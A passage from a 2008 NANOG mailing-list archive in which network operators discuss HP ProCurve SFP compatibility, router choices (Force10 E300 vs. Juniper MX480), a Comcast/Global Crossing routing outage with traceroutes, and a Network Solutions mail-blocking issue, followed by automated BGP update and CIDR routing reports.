<487FA889.2020808@rollernet.us> References: <20080717150557.GC7402@cgi.jachomes.com> <20080717200517.GF7772@cgi.jachomes.com> <487FA889.2020808@rollernet.us> Message-ID: <20080717203144.GH7772@cgi.jachomes.com> On Thu, Jul 17, 2008 at 01:16:09PM -0700, Seth Mattinen wrote: > Jay R. Ashworth wrote: > >For what it's worth, I gave the sales rep what-for about the price, and > >he gave it back to me, telling me that ProCurve switches will only > >accept ProCurve(-compatible) SFP GBICs, which cost more, both because > >they're compatible, and because they're SFP. > > Recent ProCurve switches only accept "rev B" modules; I have a new-ish > switch that won't accept a pile of Finisar optics that did work in older > HP switches. I don't know what the difference between "rev B" and older > ones are, though. Specifically, that rep (Bill Billings) told me that a *firware upgrade* broke compatibility with the old GBICs, which *originally* worked, and he ended up eating nearly 300 of them at one point. But we're probably off topic now. :-) Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From sdalberg at marchex.com Thu Jul 17 17:15:45 2008 From: sdalberg at marchex.com (Steve Dalberg) Date: Thu, 17 Jul 2008 15:15:45 -0700 Subject: GBIC compatibility and pricing (was Managed, cheap, DC power switches) In-Reply-To: <20080717203144.GH7772@cgi.jachomes.com> References: <20080717150557.GC7402@cgi.jachomes.com><20080717200517.GF7772@cgi.jachomes.com><487FA889.2020808@rollernet.us> <20080717203144.GH7772@cgi.jachomes.com> Message-ID: <9B4191CF8F73B04BB4F437E1F7F86ED50E09ED66@exchbe1sea.windows.marchex.com> This reason is twofold, one is Resellers were just buying whatever cheap gbics they could and bundling them with Procurve switches (I'm sure this happens to other vendors too). Thus most of the profitable parts of switch sales were being eroded by the resellers. The other is that Procurve offers a lifetime warranty on most (possibly all) of their products, including gbics I believe, thus the premium. I believe you can just RMA a Procurve GBIC, and they will send you a new one, no receipts, no worries, no expiration, no service contract. He shouldn't have to eat 300 gbics unless he bought non-Procurve ones to begin with. HP should be able to exchange/reprogram them if they were HP Gbics. Steve > -----Original Message----- > From: Jay R. Ashworth [mailto:jra at baylink.com] > Sent: Thursday, July 17, 2008 1:32 PM > To: nanog at nanog.org > Subject: OT: GBIC compatibility and pricing (was Managed, cheap,DC power switches) > > > On Thu, Jul 17, 2008 at 01:16:09PM -0700, Seth Mattinen wrote: > > Jay R. Ashworth wrote: > > >For what it's worth, I gave the sales rep what-for about the price, and > > >he gave it back to me, telling me that Procurve switches will only > > >accept Procurve(-compatible) SFP GBICs, which cost more, both because > > >they're compatible, and because they're SFP. > > > > Recent Procurve switches only accept "rev B" modules; I have a new-ish > > switch that won't accept a pile of Finisar optics that did work in older > > HP switches. I don't know what the difference between "rev B" and older > > ones are, though. > > Specifically, that rep (Bill Billings) told me that a *firware upgrade* > broke compatibility with the old GBICs, which *originally* worked, and > he ended up eating nearly 300 of them at one point. > > But we're probably off topic now. :-) > > Cheers, > -- jra > -- > Jay R. Ashworth Baylink jra at baylink.com > Designer The Things I Think RFC 2100 > Ashworth & Associates http://baylink.pitas.com '87 e24 > St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 > > Those who cast the vote decide nothing. > Those who count the vote decide everything. > -- (Josef Stalin) From surfer at mauigateway.com Thu Jul 17 18:38:45 2008 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 17 Jul 2008 16:38:45 -0700 Subject: Avg. Packet Size - Again? Message-ID: <20080717163845.F7202E1@resin18.mta.everyone.net> --- fred at cisco.com wrote: CAIDA has been doing a lot of that, at least in the past. Last I asked them, which was quite a while back, they said that O(35%) of traffic ----------------------------------------- On Production networks? And if so, what type? Eyeball networks? Content networks? etc. over long time periods. scott From r.hyunseog at ieee.org Thu Jul 17 18:52:33 2008 From: r.hyunseog at ieee.org (Hyunseog Ryu) Date: Thu, 17 Jul 2008 18:52:33 -0500 Subject: GBIC compatibility and pricing (was Managed, cheap, DC power switches) In-Reply-To: <9B4191CF8F73B04BB4F437E1F7F86ED50E09ED66@exchbe1sea.windows.marchex.com> References: <20080717150557.GC7402@cgi.jachomes.com><20080717200517.GF7772@cgi.jachomes.com><487FA889.2020808@rollernet.us> <20080717203144.GH7772@cgi.jachomes.com> <9B4191CF8F73B04BB4F437E1F7F86ED50E09ED66@exchbe1sea.windows.marchex.com> Message-ID: <487FDB41.3030108@ieee.org> I think this vendor-supported SFP was big issue from HP ethernet switch since it was appeared from HP ethernet switch firmware upgrade without much attention. It should be standard, so it shouldn't matter which vender's SFP is. But since HP decided to stick with their own SFP, some third party vendor starts to ask for which vendor's equipment to be used with SFP, and they programmed firmware to simulate specific vendor's SFP by placing vendor code or something like that. Sometimes when I ordered specific vendor's Part Number for SFP from specific vendor's reseller, still it is delivered with third party vendor's SFP. I don't know whether reseller is making money because of price difference, or not. Hyun Steve Dalberg wrote: > This reason is twofold, one is Resellers were just buying whatever cheap > gbics they could and bundling them with Procurve switches (I'm sure this > happens to other vendors too). Thus most of the profitable parts of > switch sales were being eroded by the resellers. > > The other is that Procurve offers a lifetime warranty on most (possibly > all) of their products, including gbics I believe, thus the premium. I > believe you can just RMA a Procurve GBIC, and they will send you a new > one, no receipts, no worries, no expiration, no service contract. > > He shouldn't have to eat 300 gbics unless he bought non-Procurve ones to > begin with. HP should be able to exchange/reprogram them if they were > HP Gbics. > > Steve > > >> -----Original Message----- >> From: Jay R. Ashworth [mailto:jra at baylink.com] >> Sent: Thursday, July 17, 2008 1:32 PM >> To: nanog at nanog.org >> Subject: OT: GBIC compatibility and pricing (was Managed, cheap,DC >> > power switches) > >> On Thu, Jul 17, 2008 at 01:16:09PM -0700, Seth Mattinen wrote: >> >>> Jay R. Ashworth wrote: >>> >>>> For what it's worth, I gave the sales rep what-for about the price, >>>> > and > >>>> he gave it back to me, telling me that Procurve switches will only >>>> accept Procurve(-compatible) SFP GBICs, which cost more, both >>>> > because > >>>> they're compatible, and because they're SFP. >>>> >>> Recent Procurve switches only accept "rev B" modules; I have a >>> > new-ish > >>> switch that won't accept a pile of Finisar optics that did work in >>> > older > >>> HP switches. I don't know what the difference between "rev B" and >>> > older > >>> ones are, though. >>> >> Specifically, that rep (Bill Billings) told me that a *firware >> > upgrade* > >> broke compatibility with the old GBICs, which *originally* worked, and >> he ended up eating nearly 300 of them at one point. >> >> But we're probably off topic now. :-) >> >> Cheers, >> -- jra >> -- >> Jay R. Ashworth Baylink >> > jra at baylink.com > >> Designer The Things I Think >> > RFC 2100 > >> Ashworth & Associates http://baylink.pitas.com >> > '87 e24 > >> St Petersburg FL USA http://photo.imageinc.us +1 727 >> > 647 1274 > >> Those who cast the vote decide nothing. >> Those who count the vote decide everything. >> -- (Josef Stalin) >> > > > > > > From oberman at es.net Thu Jul 17 18:57:29 2008 From: oberman at es.net (Kevin Oberman) Date: Thu, 17 Jul 2008 16:57:29 -0700 Subject: Line rate gigabit router/switch options In-Reply-To: Your message of "Thu, 17 Jul 2008 16:17:12 EDT." Message-ID: <20080717235729.D33A44500E@ptavv.es.net> > Date: Thu, 17 Jul 2008 16:17:12 -0400 > From: "Brant I. Stevens" > > What about a 6524 switch? Or a Juniper EX 4200? 6524? Sounds like a bit of overkill to me. As far as the EX4200, it might do the job in a bit, but, as of the latest JunOS release, too many features are supported for us to use them as full-function routers. Maybe in a release or two (late this year), they will be ready. The hardware is most impressive. Note that they will not handle full routes. I believe that they do about 12K routes, so they may be fine for you application. They do all of the "standard" protocols, but they don't so MPLS yet. I'm not quite sure when this will make it into JunOS. I'm quite impressed with the potential of this box and, as a layer 2 switch, they run very well. Just some serious limitations for layer 3. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From oberman at es.net Thu Jul 17 19:06:14 2008 From: oberman at es.net (Kevin Oberman) Date: Thu, 17 Jul 2008 17:06:14 -0700 Subject: GBIC compatibility and pricing (was Managed, cheap, DC power switches) In-Reply-To: Your message of "Thu, 17 Jul 2008 15:15:45 PDT." <9B4191CF8F73B04BB4F437E1F7F86ED50E09ED66@exchbe1sea.windows.marchex.com> Message-ID: <20080718000614.09AB54500E@ptavv.es.net> > Date: Thu, 17 Jul 2008 15:15:45 -0700 > From: "Steve Dalberg" > > This reason is twofold, one is Resellers were just buying whatever cheap > gbics they could and bundling them with Procurve switches (I'm sure this > happens to other vendors too). Thus most of the profitable parts of > switch sales were being eroded by the resellers. > > The other is that Procurve offers a lifetime warranty on most (possibly > all) of their products, including gbics I believe, thus the premium. I > believe you can just RMA a Procurve GBIC, and they will send you a new > one, no receipts, no worries, no expiration, no service contract. > > He shouldn't have to eat 300 gbics unless he bought non-Procurve ones to > begin with. HP should be able to exchange/reprogram them if they were > HP Gbics. The problem was that earlier code revs would accept 3rd party optics. Buying the optics from the manufacturer rather than from HP saved a lot of money and was a common practice. Then the code was upgraded to prohibit non-HP branded optics. This was a non-reversable upgrade and, for the folks who had bought their own optics, they had dead boxes and had to buy HP optics to get them back into service. Quite a few folks were a bit upset about this. While HP can make whatever claims they want as to why this was a benefit to the consumer, it was clear done to benefit the HP bottom line and the consumer was not taken into consideration. If you had HP optics, no exchange was needed. If you compare identical optics that are branded by the manufacturer vs. those branded Cisco or HP, you will notice a 'small' mark-up on the re-marked units. Maybe a few hundred percent. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 224 bytes Desc: not available URL: From logan.rawlins at highwinds.com Thu Jul 17 19:49:13 2008 From: logan.rawlins at highwinds.com (Logan Rawlins) Date: Thu, 17 Jul 2008 17:49:13 -0700 Subject: Comcast issues anyone? Message-ID: <014CE45D-031D-4CB5-A8C8-00FA6D863409@highwinds.com> I have various customers complaining of comcast issues and from traces i've seen so far it looks to be isolated to comcast or their handoff to someone. Anyone else having these issues and can a comcast network engineer please contact me off list if possible thanks. Tracing route to [64.38.193.22] over a maximum of 30 hops: 1 15 ms 18 ms 17 ms 192.168.1.1 2 * * * Request timed out. 3 17 ms 9 ms 27 ms ge-1-7- ur01.seattle.wa.seattle.comcast.net [68.8 6.99.65] 4 11 ms 11 ms 23 ms te-8-4- ar01.burien.wa.seattle.comcast.net [68.86 .96.189] 5 17 ms 15 ms 21 ms 68.86.90.222 6 14 ms 31 ms 17 ms 68.86.90.221 7 28 ms 27 ms 46 ms pos-0-6-0-0- cr01.sacramento.ca.ibone.comcast.net [68.86.85.197] 8 32 ms 47 ms 42 ms pos-0-7-0-0- cr01.sacramento.ca.ibone.comcast.net [68.86.85.181] 9 40 ms * 48 ms te-1-1- pr01.11greatoaks.ca.ibone.comcast.net [68 .86.84.126] 10 109 ms 54 ms 154 ms 68.86.88.250 11 * * * Request timed out. 12 * * * Request timed out. 13 * * * Request timed out. 14 * * * Request timed out. -Logan From logan.rawlins at highwinds.com Thu Jul 17 21:03:56 2008 From: logan.rawlins at highwinds.com (Logan Rawlins) Date: Thu, 17 Jul 2008 19:03:56 -0700 Subject: Comcast issues anyone? In-Reply-To: <014CE45D-031D-4CB5-A8C8-00FA6D863409@highwinds.com> References: <014CE45D-031D-4CB5-A8C8-00FA6D863409@highwinds.com> Message-ID: <5C99DA49-F945-4D7F-8451-A595AC32F35C@highwinds.com> This appears to be an issue between global crossing and Comcast in the Los Angeles area. Filtering comcast routes from our gblx transit ports and resolved the issue now routing via level3. On Jul 17, 2008, at 5:49 PM, Logan Rawlins wrote: > I have various customers complaining of comcast issues and from > traces i've seen so far it looks to be isolated to comcast or their > handoff to someone. Anyone else having these issues and can a > comcast network engineer please contact me off list if possible > thanks. > > Tracing route to [64.38.193.22] > over a maximum of 30 hops: > > 1 15 ms 18 ms 17 ms 192.168.1.1 > 2 * * * Request timed out. > 3 17 ms 9 ms 27 ms ge-1-7- > ur01.seattle.wa.seattle.comcast.net [68.8 > 6.99.65] > 4 11 ms 11 ms 23 ms te-8-4- > ar01.burien.wa.seattle.comcast.net [68.86 > .96.189] > 5 17 ms 15 ms 21 ms 68.86.90.222 > 6 14 ms 31 ms 17 ms 68.86.90.221 > 7 28 ms 27 ms 46 ms pos-0-6-0-0- > cr01.sacramento.ca.ibone.comcast.net > [68.86.85.197] > 8 32 ms 47 ms 42 ms pos-0-7-0-0- > cr01.sacramento.ca.ibone.comcast.net > [68.86.85.181] > 9 40 ms * 48 ms te-1-1- > pr01.11greatoaks.ca.ibone.comcast.net [68 > .86.84.126] > 10 109 ms 54 ms 154 ms 68.86.88.250 > 11 * * * Request timed out. > 12 * * * Request timed out. > 13 * * * Request timed out. > 14 * * * Request timed out. > > -Logan From nanog at data102.com Thu Jul 17 21:41:00 2008 From: nanog at data102.com (randal k) Date: Thu, 17 Jul 2008 20:41:00 -0600 Subject: Looking for Network Solutions mail admin Message-ID: NANOGers, We're getting the run around from Network Solutions e-mail front-end support personnel and only canned replies from the postmaster, with no escalation available because we're the sender (i.e. not paying). Basic problem is that we have a client mail gateway that is unable to send mail to a particular netsol-hosted domain; acts like an RBL issue, even though the IP is squeeky clean. Can a NetSol email admin with some clue drop me a line? Thanks in advance -- Randal From ops.lists at gmail.com Thu Jul 17 21:47:20 2008 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Fri, 18 Jul 2008 12:47:20 +1000 Subject: Looking for Network Solutions mail admin In-Reply-To: References: Message-ID: I hope it is not in 128.168.0.0/16? http://www.spamhaus.org/sbl/sbl.lasso?query=SBL51908 http://www.47-usc-230c2.org/chapter3.html srs On Fri, Jul 18, 2008 at 12:41 PM, randal k wrote: > NANOGers, > We're getting the run around from Network Solutions e-mail front-end > support personnel and only canned replies from the postmaster, with no > escalation available because we're the sender (i.e. not paying). > > Basic problem is that we have a client mail gateway that is unable to > send mail to a particular netsol-hosted domain; acts like an RBL > issue, even though the IP is squeeky clean. > > Can a NetSol email admin with some clue drop me a line? > > Thanks in advance -- > Randal > > -- Suresh Ramasubramanian (ops.lists at gmail.com) From jabley at ca.afilias.info Thu Jul 17 22:09:54 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Thu, 17 Jul 2008 23:09:54 -0400 Subject: Force10 E300 vs. Juniper MX480 Message-ID: <9DB7E889-E903-4741-B2AE-6C822948F8FF@ca.afilias.info> Hi all, An acquaintance who runs an ISP with an M7i on its border is looking to upgrade, because the M7i is starting to creak from all the flesh- tone MPEGs his customers are sharing. (How times have changed. Back when I was chasing packets, it was flesh-tone JPEGs.) He's looking at the MX480 and the E300. The MX480 is attractive because the M7i has been stable as a rock, and he's familiar with JUNOS. The E300 is attractive because it's half the price of the MX480, and has the potential to hold layer-2 cards as well as layer-3 ports which makes the price per port much more reasonable than the MX480. But he has no experience with Force10 at any ISO layer higher than 2. He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and IPv6. There's no MPLS in the picture, for example. However, he's going to want four or five full tables plus a moderate load of peering routes in there. And maybe VRRP. Thoughts from people who have tried one or the other, or both? Or who have faced this kind of problem, and came up with a different answer? Feel free to send mail off-list; I can summarise if there is interest. Joe From nanog at data102.com Thu Jul 17 22:15:33 2008 From: nanog at data102.com (randal k) Date: Thu, 17 Jul 2008 21:15:33 -0600 Subject: Looking for Network Solutions mail admin In-Reply-To: References: Message-ID: Nope, my homework is just a smidge better than that - 38.97.208.246 is the mail gateway having problems. The whole class B thing is a gigantic cluster thanks to Ron - who was kind enough to write the diatribe without ever calling or talking to the registered contacts - but we're on track with ARIN to resolve it. Interestingly enough, our exact situation (groundless allegations of hijacked space) is the reason that their new WHOWAS service is coming around. That is a whole ball of wax I won't clutter the list with, though - if you'd like more info, we're happy to share privately. Cheers, Randal On Thu, Jul 17, 2008 at 8:47 PM, Suresh Ramasubramanian wrote: > I hope it is not in 128.168.0.0/16? > > http://www.spamhaus.org/sbl/sbl.lasso?query=SBL51908 > > http://www.47-usc-230c2.org/chapter3.html > > srs > > On Fri, Jul 18, 2008 at 12:41 PM, randal k wrote: >> NANOGers, >> We're getting the run around from Network Solutions e-mail front-end >> support personnel and only canned replies from the postmaster, with no >> escalation available because we're the sender (i.e. not paying). >> >> Basic problem is that we have a client mail gateway that is unable to >> send mail to a particular netsol-hosted domain; acts like an RBL >> issue, even though the IP is squeeky clean. >> >> Can a NetSol email admin with some clue drop me a line? >> >> Thanks in advance -- >> Randal >> >> > > > > -- > Suresh Ramasubramanian (ops.lists at gmail.com) > From randy at psg.com Thu Jul 17 22:18:05 2008 From: randy at psg.com (Randy Bush) Date: Thu, 17 Jul 2008 20:18:05 -0700 Subject: Looking for Network Solutions mail admin In-Reply-To: References: Message-ID: <48800B6D.9010103@psg.com> randal k wrote: > Nope, my homework is just a smidge better than that - 38.97.208.246 is > the mail gateway having problems. > > The whole class B thing is a gigantic cluster thanks to Ron - who was > kind enough to write the diatribe without ever calling or talking to > the registered contacts - but we're on track with ARIN to resolve it. > Interestingly enough, our exact situation (groundless allegations of > hijacked space) is the reason that their new WHOWAS service is coming > around. That is a whole ball of wax I won't clutter the list with, > though - if you'd like more info, we're happy to share privately. as we say in our family, do i smell cows? From Courtney_Smith at Cable.Comcast.com Thu Jul 17 22:40:13 2008 From: Courtney_Smith at Cable.Comcast.com (Smith, Courtney) Date: Thu, 17 Jul 2008 23:40:13 -0400 Subject: Comcast issues anyone? In-Reply-To: <89C530A9DEC21E4080958A2F5790439338F291E6@NJCHLEXCMB01.cable.comcast.com> References: <014CE45D-031D-4CB5-A8C8-00FA6D863409@highwinds.com> <89C530A9DEC21E4080958A2F5790439338F291E1@NJCHLEXCMB01.cable.comcast.com> <89C530A9DEC21E4080958A2F5790439338F291E6@NJCHLEXCMB01.cable.comcast.com> Message-ID: <7372D9734C591745A4C1D81017D5ABF6076A3933@NJCHLEXCMB01.cable.comcast.com> This issue has been resolved. Global Crossing corrected routing error in their network. Thank you for your patience. Courtney Smith Backbone Service Desk Comcast National Engineering & Technical Operations -----Original Message----- From: National Network Desk Sent: Thursday, July 17, 2008 11:20 PM To: 'nanog at nanog.org' Subject: RE: Comcast issues anyone? This issue has been resolved. Global Crossing corrected routing error in their network. Thank you for your patience. Courtney Smith Backbone Service Desk Comcast National Engineering & Technical Operations From tomb at byrneit.net Thu Jul 17 23:58:13 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Thu, 17 Jul 2008 21:58:13 -0700 Subject: Real person @ Speakeasy Abuse Message-ID: <70D072392E56884193E3D2DE09C097A9F360@pascal.zaphodb.org> Please contact me off-list. Tomas L. Byrnes ByrneIT Phone (it will find me): 760.444.4727 Text Message: 7604023999 at messaging.sprintpcs.com e-mail: tomb at byrneit.net IM: MSN Messenger tomb at byrneit.net Skype: zwithapggb CONFIDENTIALITY NOTE: The information transmitted in this e-mail message is intended to be confidential and for the use of only the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that you are in possession of privileged information, also, you are hereby notified that any retention, dissemination, distribution or copy of this e-mail message is strictly prohibited. If you have received this e-mail in error, immediately notify us via return e-mail at the address above, & discard, remove, delete, & destroy any trace of it. -------------- next part -------------- A non-text attachment was scrubbed... Name: Tomas L. Byrnes (tomb at byrneit.net).vcf Type: text/x-vcard Size: 1299 bytes Desc: Tomas L. Byrnes (tomb at byrneit.net).vcf URL: From cmarlatt at rxsec.com Fri Jul 18 06:43:33 2008 From: cmarlatt at rxsec.com (Chris Marlatt) Date: Fri, 18 Jul 2008 07:43:33 -0400 Subject: Force10 E300 vs. Juniper MX480 In-Reply-To: <9DB7E889-E903-4741-B2AE-6C822948F8FF@ca.afilias.info> References: <9DB7E889-E903-4741-B2AE-6C822948F8FF@ca.afilias.info> Message-ID: <488081E5.2060605@rxsec.com> Joe Abley wrote: > Hi all, > > An acquaintance who runs an ISP with an M7i on its border is looking to > upgrade, because the M7i is starting to creak from all the flesh-tone > MPEGs his customers are sharing. (How times have changed. Back when I > was chasing packets, it was flesh-tone JPEGs.) > > He's looking at the MX480 and the E300. > > The MX480 is attractive because the M7i has been stable as a rock, and > he's familiar with JUNOS. > > The E300 is attractive because it's half the price of the MX480, and has > the potential to hold layer-2 cards as well as layer-3 ports which makes > the price per port much more reasonable than the MX480. But he has no > experience with Force10 at any ISO layer higher than 2. > > He doesn't have any exotic requirements beyond OSPF, OSPFv3, BGP, IP and > IPv6. There's no MPLS in the picture, for example. However, he's going > to want four or five full tables plus a moderate load of peering routes > in there. And maybe VRRP. > > Thoughts from people who have tried one or the other, or both? Or who > have faced this kind of problem, and came up with a different answer? > > Feel free to send mail off-list; I can summarise if there is interest. > > > Joe > I would avoid Force10 if at all possible. In the network I managed I've had some fairly surprising stability problems with their S series switches and feature problems (or lack there of) on their E series. Things you kind of scratch your head at and wonder what they were thinking. Juniper on the other hand is indeed a bit pricier but quite a stable platform. If he has to look at alternatives I would suggest Foundry, either the RX-8, MLX-8, or XMR-8000 (depending on requirements) for comparable models to the MX480. Regards, Chris From cidr-report at potaroo.net Fri Jul 18 07:00:05 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 18 Jul 2008 22:00:05 +1000 (EST) Subject: BGP Update Report Message-ID: <200807181200.m6IC057o028604@wattle.apnic.net> BGP Update Report Interval: 16-Jun-08 -to- 17-Jul-08 (32 days) Observation Point: BGP Peering with AS2.0 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS4538 214212 2.8% 42.8 -- ERX-CERNET-BKB China Education and Research Network Center 2 - AS9583 117999 1.6% 94.2 -- SIFY-AS-IN Sify Limited 3 - AS17488 87641 1.2% 67.2 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 4 - AS5691 72620 1.0% 5586.2 -- MITRE-AS-5 - The MITRE Corporation 5 - AS8866 68509 0.9% 214.1 -- BTC-AS Bulgarian Telecommunication Company Plc. 6 - AS17974 51591 0.7% 70.5 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 7 - AS4766 51237 0.7% 38.9 -- KIXS-AS-KR Korea Telecom 8 - AS1803 42042 0.6% 33.5 -- ICMNET-5 - Sprint 9 - AS12455 39062 0.5% 640.4 -- JAMBONET 10 - AS306 38170 0.5% 208.6 -- DNIC - DoD Network Information Center 11 - AS8151 36688 0.5% 26.1 -- Uninet S.A. de C.V. 12 - AS13620 34420 0.5% 6884.0 -- ASN-ELAN - Elan Communications, Inc. 13 - AS18231 33335 0.4% 137.7 -- EXATT-AS-AP IOL NETCOM LTD 14 - AS702 32658 0.4% 59.2 -- AS702 Verizon Business EMEA - Commercial IP service provider in Europe 15 - AS7738 31275 0.4% 101.5 -- Telecomunicacoes da Bahia S.A. 16 - AS5803 30695 0.4% 159.9 -- DDN-ASNBLK - DoD Network Information Center 17 - AS9498 29235 0.4% 23.1 -- BBIL-AP BHARTI BT INTERNET LTD. 18 - AS9394 29002 0.4% 19.0 -- CRNET CHINA RAILWAY Internet(CRNET) 19 - AS10396 28980 0.4% 149.4 -- COQUI-NET - DATACOM CARIBE, INC. 20 - AS25994 28945 0.4% 203.8 -- NPG-001 - NPG Cable, INC TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS13620 34420 0.5% 6884.0 -- ASN-ELAN - Elan Communications, Inc. 2 - AS30850 12526 0.2% 6263.0 -- DESMIE-AS Hellenic Trasmission System Operator S.A. 3 - AS5691 72620 1.0% 5586.2 -- MITRE-AS-5 - The MITRE Corporation 4 - AS29910 5352 0.1% 5352.0 -- IACP - INTL. ASSN OF CHIEF OF POLICEI 5 - AS44656 4916 0.1% 4916.0 -- HOLOSFIND-ROMANIA HOLOSFIND SRL 6 - AS40256 16965 0.2% 4241.2 -- ACS-HCMS-ASN - Affiliated Computer Services, Inc. 7 - AS23082 18898 0.2% 3779.6 -- MPHI - Michigan Public Health Institute 8 - AS40831 7375 0.1% 3687.5 -- ROBERTSDYBDAHL - Roberts & Dybdahl Inc. 9 - AS44194 3436 0.1% 3436.0 -- FREIFUNK-BERLIN-AS Freifunk Berlin 10 - AS27245 6406 0.1% 3203.0 -- HEIDRICK-CHICAGO - HEIDRICK 11 - AS38513 3201 0.0% 3201.0 -- LINTASARTA-AS-ID PT Aplikanusa Lintasarta 12 - AS27786 2868 0.0% 2868.0 -- SSA SISTEMAS S.A. 13 - AS39105 2650 0.0% 2650.0 -- CLASS-AS SC Class Computers And Service SRL 14 - AS32133 2387 0.0% 2387.0 -- JOHNSTONE-SUPPLY - Atwater Supply dba Johnstone Supply 15 - AS25250 7070 0.1% 2356.7 -- GAMTEL-AS 16 - AS28361 2072 0.0% 2072.0 -- 17 - AS10571 3758 0.1% 1879.0 -- GEOACCESS-AS - GeoAccess 18 - AS36966 1756 0.0% 1756.0 -- Edgenet 19 - AS30560 17083 0.2% 1708.3 -- GE-MS001 - General Electric Company 20 - AS31065 11742 0.2% 1677.4 -- MCIT TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 192.12.120.0/24 72506 0.9% AS5691 -- MITRE-AS-5 - The MITRE Corporation 2 - 221.134.222.0/24 46688 0.6% AS9583 -- SIFY-AS-IN Sify Limited 3 - 83.228.71.0/24 44137 0.6% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. AS8953 -- ASN-ORANGE-ROMANIA Orange Romania Autonomous System Number 4 - 210.214.128.0/23 26270 0.3% AS9583 -- SIFY-AS-IN Sify Limited 5 - 24.121.123.0/24 25721 0.3% AS25994 -- NPG-001 - NPG Cable, INC 6 - 221.128.192.0/18 25235 0.3% AS18231 -- EXATT-AS-AP IOL NETCOM LTD 7 - 213.91.175.0/24 19518 0.2% AS8866 -- BTC-AS Bulgarian Telecommunication Company Plc. 8 - 210.214.144.0/24 17042 0.2% AS9583 -- SIFY-AS-IN Sify Limited 9 - 194.126.143.0/24 14156 0.2% AS9051 -- IDM Autonomous System 10 - 195.47.233.0/24 12501 0.2% AS30850 -- DESMIE-AS Hellenic Trasmission System Operator S.A. 11 - 203.63.26.0/24 11119 0.1% AS9747 -- EZINTERNET-AS-AP EZInternet Pty Ltd 12 - 81.21.104.0/24 10929 0.1% AS31065 -- MCIT 13 - 216.255.56.0/21 7378 0.1% AS7106 -- OHIOBRIGHTNET - Com Net, Inc. 14 - 210.214.26.0/24 6969 0.1% AS9583 -- SIFY-AS-IN Sify Limited 15 - 64.68.1.0/24 6959 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 16 - 64.68.9.0/24 6952 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 17 - 64.68.3.0/24 6926 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 18 - 216.151.192.0/19 6792 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 19 - 64.68.0.0/24 6791 0.1% AS13620 -- ASN-ELAN - Elan Communications, Inc. 20 - 203.101.87.0/24 6586 0.1% AS9498 -- BBIL-AP BHARTI BT INTERNET LTD. Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Jul 18 07:00:01 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 18 Jul 2008 22:00:01 +1000 (EST) Subject: The Cidr Report Message-ID: <200807181200.m6IC00rH028597@wattle.apnic.net> This report has been generated at Fri Jul 18 21:14:57 2008 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 11-07-08 274275 170531 12-07-08 274087 171010 13-07-08 274400 170893 14-07-08 274150 171484 15-07-08 274371 171717 16-07-08 274410 172301 17-07-08 274703 172692 18-07-08 274967 172913 AS Summary 28851 Number of ASes in routing system 12197 Number of ASes announcing only one prefix 4982 Largest number of prefixes announced by an AS AS4538 : ERX-CERNET-BKB China Education and Research Network Center 88350976 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 18Jul08 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 275106 173019 102087 37.1% All ASes AS4538 4982 881 4101 82.3% ERX-CERNET-BKB China Education and Research Network Center AS209 3026 684 2342 77.4% ASN-QWEST - Qwest AS6389 2660 363 2297 86.4% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4755 1679 226 1453 86.5% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS18566 1045 40 1005 96.2% COVAD - Covad Communications Co. AS22773 971 81 890 91.7% CCINET-2 - Cox Communications Inc. AS17488 1219 337 882 72.4% HATHWAY-NET-AP Hathway IP Over Cable Internet AS4323 1477 634 843 57.1% TWTC - tw telecom holdings, inc. AS8151 1382 575 807 58.4% Uninet S.A. de C.V. AS6298 1606 848 758 47.2% COX-PHX - Cox Communications Inc. AS19262 926 211 715 77.2% VZGNI-TRANSIT - Verizon Internet Services Inc. AS11492 1209 518 691 57.2% CABLEONE - CABLE ONE AS1785 1085 416 669 61.7% AS-PAETEC-NET - PaeTec Communications, Inc. AS2386 1493 897 596 39.9% INS-AS - AT&T Data 